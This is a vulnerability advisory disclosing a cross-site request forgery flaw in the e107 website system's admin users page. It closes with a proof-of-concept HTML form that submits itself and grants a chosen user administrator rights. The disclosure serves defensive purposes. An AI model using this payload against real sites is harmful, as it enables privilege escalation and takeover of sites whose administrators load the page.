CSRF in e107

Vulnerability ID: HTB22344
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_e107.html
Product: e107 Website System
Vendor: e107
Vulnerable Version: 0.7.19 and Probably Prior Versions
Vendor Notification: 05 April 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the /e107_admin/users.php script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form method=POST action=http://host/e107_admin/users.php name=main>
<input type=hidden name=userid value=2>
<input type=hidden name=userip value=1.2.3.4>
<input type=hidden name=useraction value=admin>
</form>
<script>
document.main.submit();
</script>